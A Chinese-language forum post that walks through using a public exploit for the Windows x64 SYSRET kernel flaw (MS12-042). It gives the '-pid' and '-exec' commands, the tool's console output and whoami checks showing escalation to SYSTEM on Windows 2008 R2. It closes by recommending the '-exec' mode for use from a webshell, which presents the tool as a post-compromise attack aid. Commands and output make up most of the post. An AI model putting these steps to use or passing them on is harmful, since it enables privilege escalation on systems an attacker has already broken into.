作者: blacksplit

基友 bystander 分享了 sysret 提权

不过由于他没有 64bits 机子,我就测试了一下,总结了一下功能,也方便以后使用。在此分享出来~

PS:在我实际测试的时候,电脑蓝屏了一次,大家不要乱来哦~~

Sysret 使用的是 64 位操作系统的 sysret 指令漏洞,从而得到 system 权限。 Sysret 的功能原文说明如下:

Windows Kernel Intel x64 SYSRET Vulnerability Exploit + Kernel Code Signing Bypass Bonus

The shellcode disables kernel Code Signing and will grant NT SYSTEM privilege to specified Application or already running process (PID). exploit successfully tested on Windows 7 SP0/1 (x64) and Windows 2008 R2 SP1 (x64).

使用方法如下:

直接运行 sysret:



由此可见,sysret 有两个功能,一是使指定 pid 的进程获得 system 权限,二是使指定的程序拥有 system 权限。

(当然,初看之,可能看不出来,我后来亲自实验,确实是这两个功能)。

功能测试: (测试环境: windows 2008 R2 x64)

Sysret –pid

Sysret —pid 可以把指定 pid 的进程提升为 system 权限。测试时,新建拷贝 cmd.exe 程序,重命名为 cmd2.exe (为了区别期间,所以改了名字) 运行 cmd2.exe,执行 whoami 命令:

```
C:\Users\qq\Desktop\Sysret>whoami
win-dbh168lvm7b\qq
C:\Users\qq\Desktop\Sysret>_
```

然后, 执行 tasklist 命令, 查看进程 cmd2 的 pid:

```
      cmd.exe
      2160 Console

      conhost.exe
      864 Console

      sysret.exe
      1360 Console

      WerFault.exe
      1624 Console

      cmd2.exe
      1604 Console

      conhost.exe
      2776 Console

      cmd.exe
      2176 Console
```

可以看到, cmd2.exe 的 pid 为 1604.

接着,使用 sysret -pid 1604 把 cmd2 的权限提权为 system:

```
C:\Users\qq\Desktop\Sysret>sysret.exe -pid 1604
[+] Windows Kernel Intel x64 Sysret Uulnerability (MS12-042)
[+] Exploited by Shahriyar Jalayeri (Shahriyar.j [at] gmail) -- just for fur
[+] Escalating PID: 00000000000006644
[+] Hooking RtlpUmsPrimaryContextWrap...
[+] RtlpUmsPrimaryContextWrap hook point at: 000000077CD046A
[+] Allocating null page...
[+] Page allocated at: 00000000000000
[+] Control flow changed to shellcode execution path.
[+] Kernel Executive Entry (ntoskrnl.exe) at: FFFFF8000165A000
[+] PsLookupProcessByProcessId at: FFFFF800019AD1FC
[+] g_CiEnabled Pointer at: FFFFF8001880EB8
[+] Shellcode memory allocated at: 0000000002F0000
[+] Shellcode fixed and palaced at allocated memory.
[+] Entering User-mode Scheduling Mode!
```

最后,在 cmd2.exe 中,再次运行 whoami 命令,验证是否是 system:



可以看到,权限已经被提权为了 system 权限。

2. Sysret –exec

这次,同样拷贝 cmd.exe,重命名为 cmd3.exe,然后,在终端中运行如下命令: Sysret –exec cmd3.exe 来以 system 权限运行 cmd3.exe:

可以看到, cmd3.exe 已经运行了。再输入 whoami:

```
[+] Rernel Executive Entry (ntoskrn1.exe) at : FFFFF8000165H000
[+] PsLookupProcessByProcessId at : FFFFF800019AD1FC
[+] g_CiEnabled Pointer at : FFFFF80001880EB8
[+] Shellcode memory allocated at : 000000000170000
[+] Shellcode fixed and palaced at allocated memory.
The system cannot find message text for message number 0x2350 in the for Application.

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\qq\Desktop\Sysret>[+] Entering User node Scheduling Mode! whoami nt authority\system

C:\Users\qq\Desktop\Sysret>_
```

可以看到,已经是 system 权限了。

PS:在 webshell 情况下,显然第二种方法更直接一些~